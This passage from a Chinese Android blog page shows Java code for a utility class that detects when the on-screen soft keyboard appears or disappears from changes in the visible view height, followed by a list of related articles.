            System.out.println("" + visibleHeight);
            if (rootViewVisibleHeight == 0) {
                rootViewVisibleHeight = visibleHeight;
                return;
            }

            //根视图显示高度没有变化,可以看作软键盘显示/隐藏状态没有改变
            if (rootViewVisibleHeight == visibleHeight) {
                return;
            }

            //根视图显示高度变小超过200,可以看作软键盘显示了
            if (rootViewVisibleHeight - visibleHeight > 200) {
                if (onSoftKeyBoardChangeListener != null) {
                    onSoftKeyBoardChangeListener.keyBoardShow(rootViewVisibleHeight - visibleHeight);
                }
                rootViewVisibleHeight = visibleHeight;
                return;
            }

            //根视图显示高度变大超过200,可以看作软键盘隐藏了
            if (visibleHeight - rootViewVisibleHeight > 200) {
                if (onSoftKeyBoardChangeListener != null) {
                    onSoftKeyBoardChangeListener.keyBoardHide(visibleHeight - rootViewVisibleHeight);
                }
                rootViewVisibleHeight = visibleHeight;
            }

        });
    }

    private void setOnSoftKeyBoardChangeListener(OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
        this.onSoftKeyBoardChangeListener = onSoftKeyBoardChangeListener;
    }

    public interface OnSoftKeyBoardChangeListener {
        void keyBoardShow(int height);

        void keyBoardHide(int height);
    }

    public static void setListener(Activity activity, OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
        SoftKeyBoardListener softKeyBoardListener = new SoftKeyBoardListener(activity);
        softKeyBoardListener.setOnSoftKeyBoardChangeListener(onSoftKeyBoardChangeListener);
    }
}

相关文章

  • 安卓模块化功能

    回车监听 使用Shape来实现下划线 使用Gson和Sp存取list 汉字位置补齐 限制EditText只输入字母...

  • 亲自带你体验app功能测试

    体验app:蜻蜓FM 版本:安卓6.1.5 功能:搜索 机型:vivo x7 安卓版本:5.1.1 功能...

  • UI设计与交互

    界面: PC:windows ,vistar , 安卓,移动端,塞班, 安卓图标:主题物展示 IOS:突出功能展示...

  • 安卓AAC架构开源

    QSOS-AAC 项目介绍 安卓AAC框架,完全由Kotlin编写、模块化。 集成RxJava、Retrofit、...

  • 简洁版Pendo记事清单(时间轴)

    Pendo记事清单下载 可在苹果应用商店或安卓应用商店下载这个App。iOS版本功能更全,安卓版本目前相对功能不是...

  • 初始安卓

    什么是安卓? 每个安卓应用都处于各自的安全沙盒中,同时安卓应用授予很多安全的功能保护1.安卓操作系统是一种多用户的...

  • 2018-10-24

    安卓炫酷微商图文功能介绍

  • 新浪新闻APP功能分析

    安卓4.8.2,新浪新闻APP功能分析

  • 网易新闻APP功能分析

    安卓5.3.3,网易新闻APP功能分析

  • 安卓分享功能

    有朋友说没图没真相,最近单独做了一下,欢迎starGitHub 项目地址 用法会以maven jcenter 的方...

网友评论

      本文标题:安卓模块化功能

      本文链接:https://www.haomeiwen.com/subject/aruxqktx.html